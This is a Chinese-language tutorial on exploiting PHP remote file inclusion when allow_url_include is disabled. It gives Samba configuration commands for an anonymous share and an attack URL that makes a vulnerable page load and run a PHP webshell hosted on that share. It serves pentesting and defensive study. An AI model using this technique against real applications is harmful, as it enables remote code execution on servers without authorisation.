利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制
前言
文章讲诉了如何绕过远程URL包含限制。在PHP开发环境php.ini配置文件里”,allow_url_include“为“off”的情况下,不允许PHP加载远程HTTP或FTP url包含远程文件。但是使用SMB依旧可以加载。
攻击思路
攻击者需要配置SMB服务器,启用匿名浏览访问。利用有漏洞的PHP代码从SMB共享里访问PHP Webshell。
-
配置php.ini文件禁用 "allow_url_fopen" 和 "allow_url_include" 。
-
配置SMB服务器的匿名读访问权
-
利用有漏洞的PHP程序访问SMB
PHP环境设置
在PHP.ini文件里把 "allow_url_fopen" 和 "allow_url_include" 设为 "Off"。
当前配置PHP版本为“5.5.11”:
确定PHP不允许远程文件包含
试图从远程主机包含PHP Web shell时,应用程序抛出错误并且没有发生RFI。
配置匿名读访问SAMBA服务器(Linux)
使用下面提到的命令安装SAMBA服务器:
创建SMB共享目录(/var/www/html/pub/)
mkdir /var/www/html/pub/
配置SMB共享目录的权限:
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
运行以下提到的命令删除SAMBA服务器配置文件的默认内容
echo > /etc/samba/smb.conf
将下面提到的内容放在'/etc/samba/smb.conf'文件中
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
重新启动SAMBA服务器
service smbd restart
成功重新启动SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不需要凭据验证。
\\192.168.0.3\
在SMB共享中托管PHP Web shell
在目录'/var/www/html/pub'
中托管PHP shell
利用Windows Explorer打开SMB访问 Win+R直接访问。
\\192.168.0.3\ica\
攻击文件包含漏洞参数
利用SMB的php webshell路径传入文件包含漏洞的参数里。
http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php
SMB共享中获取Web shell并在应用程序服务器上顺利执行PHP代码,绕过了远程文件包含的限制。